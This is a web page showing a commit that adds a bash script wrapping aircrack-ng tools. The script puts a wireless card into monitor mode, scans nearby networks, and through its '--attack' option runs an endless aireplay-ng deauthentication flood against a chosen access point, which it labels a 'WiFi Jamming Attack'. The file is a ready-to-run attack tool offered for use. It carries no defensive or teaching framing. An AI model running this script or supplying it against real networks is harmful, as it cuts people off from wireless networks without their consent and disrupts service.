Spaces:
No application file
No application file
Create rec
Browse files
rec
ADDED
|
@@ -0,0 +1,113 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/bin/bash
|
| 2 |
+
|
| 3 |
+
# Check for root privileges
|
| 4 |
+
if [[ $EUID -ne 0 ]]; then
|
| 5 |
+
echo "This script must be run as root"
|
| 6 |
+
exit 1
|
| 7 |
+
fi
|
| 8 |
+
|
| 9 |
+
# Interface Finder
|
| 10 |
+
interface=$(iw dev | awk '$1=="Interface"{print $2}')
|
| 11 |
+
|
| 12 |
+
# Function to start monitor mode
|
| 13 |
+
start_monitor() {
|
| 14 |
+
if iwconfig "$interface" | grep "Mode:Monitor" > /dev/null; then
|
| 15 |
+
echo "Monitor mode is already enabled on $interface"
|
| 16 |
+
else
|
| 17 |
+
echo "Enabling monitor mode on $interface..."
|
| 18 |
+
airmon-ng start "$interface" > /dev/null 2>&1
|
| 19 |
+
echo "Monitor mode enabled on $interface."
|
| 20 |
+
fi
|
| 21 |
+
}
|
| 22 |
+
|
| 23 |
+
# Function to stop monitor mode
|
| 24 |
+
stop_monitor() {
|
| 25 |
+
if iwconfig "$interface" | grep "Mode:Managed" > /dev/null; then
|
| 26 |
+
echo "Monitor mode is already disabled on $interface"
|
| 27 |
+
else
|
| 28 |
+
interface=$(iw dev | awk '$1=="Interface"{print $2}')
|
| 29 |
+
echo "Disabling monitor mode on $interface..."
|
| 30 |
+
airmon-ng stop "$interface" > /dev/null 2>&1
|
| 31 |
+
echo "Monitor mode disabled on $interface."
|
| 32 |
+
fi
|
| 33 |
+
}
|
| 34 |
+
|
| 35 |
+
# Function to show WiFi networks using airodump-ng
|
| 36 |
+
show_networks() {
|
| 37 |
+
interface=$(iw dev | awk '$1=="Interface"{print $2}')
|
| 38 |
+
echo "Scanning for WiFi networks on $interface..."
|
| 39 |
+
airodump-ng "$interface"
|
| 40 |
+
}
|
| 41 |
+
|
| 42 |
+
show_indivisual_networks() {
|
| 43 |
+
interface=$(iw dev | awk '$1=="Interface"{print $2}')
|
| 44 |
+
echo "Scanning for WiFi network on $interface..."
|
| 45 |
+
airodump-ng "$interface" --bssid "$1" --channel "$2"
|
| 46 |
+
}
|
| 47 |
+
|
| 48 |
+
perform_attack() {
|
| 49 |
+
echo "Attack is going to start..."
|
| 50 |
+
sleep 2
|
| 51 |
+
echo "To stop attack press Ctrl+c"
|
| 52 |
+
aireplay-ng "$interface" -0 0 -a "$1" &
|
| 53 |
+
# Define the loading animation
|
| 54 |
+
animation="/-\|"
|
| 55 |
+
index=0
|
| 56 |
+
|
| 57 |
+
# Check if aireplay-ng is still running
|
| 58 |
+
while ps -p $! >/dev/null; do
|
| 59 |
+
echo -ne "\r[ ${animation:index++%${#animation}:1} ] Running WiFi Jamming Attack..."
|
| 60 |
+
done
|
| 61 |
+
}
|
| 62 |
+
|
| 63 |
+
# Check command-line arguments
|
| 64 |
+
case "$1" in
|
| 65 |
+
--monitor)
|
| 66 |
+
case "$2" in
|
| 67 |
+
start)
|
| 68 |
+
start_monitor
|
| 69 |
+
;;
|
| 70 |
+
stop)
|
| 71 |
+
stop_monitor
|
| 72 |
+
;;
|
| 73 |
+
*)
|
| 74 |
+
echo "Unknown argument for -monitor: $2"
|
| 75 |
+
exit 1
|
| 76 |
+
;;
|
| 77 |
+
esac
|
| 78 |
+
;;
|
| 79 |
+
--status)
|
| 80 |
+
show_networks
|
| 81 |
+
;;
|
| 82 |
+
--bssid)
|
| 83 |
+
case "$3" in
|
| 84 |
+
--channel)
|
| 85 |
+
show_indivisual_networks "$2" "$4"
|
| 86 |
+
;;
|
| 87 |
+
esac
|
| 88 |
+
;;
|
| 89 |
+
--attack)
|
| 90 |
+
case "$2" in
|
| 91 |
+
--bssid)
|
| 92 |
+
perform_attack "$3"
|
| 93 |
+
;;
|
| 94 |
+
*)
|
| 95 |
+
echo "wifi --attack --bssid <bssid_name>"
|
| 96 |
+
exit 1
|
| 97 |
+
;;
|
| 98 |
+
esac
|
| 99 |
+
;;
|
| 100 |
+
*)
|
| 101 |
+
echo "Usage: wifi --monitor start"
|
| 102 |
+
echo " wifi --monitor stop"
|
| 103 |
+
echo " wifi --status"
|
| 104 |
+
echo " wifi --bssid <bssid_name> --channel <channel_number>"
|
| 105 |
+
echo " wifi --attack --bssid <bssid_name>"
|
| 106 |
+
exit 1
|
| 107 |
+
;;
|
| 108 |
+
esac
|
| 109 |
+
|
| 110 |
+
# Print the new interface name if it's set
|
| 111 |
+
if [ -n "$new_interface" ]; then
|
| 112 |
+
echo "New interface name for monitor mode: $new_interface"
|
| 113 |
+
fi
|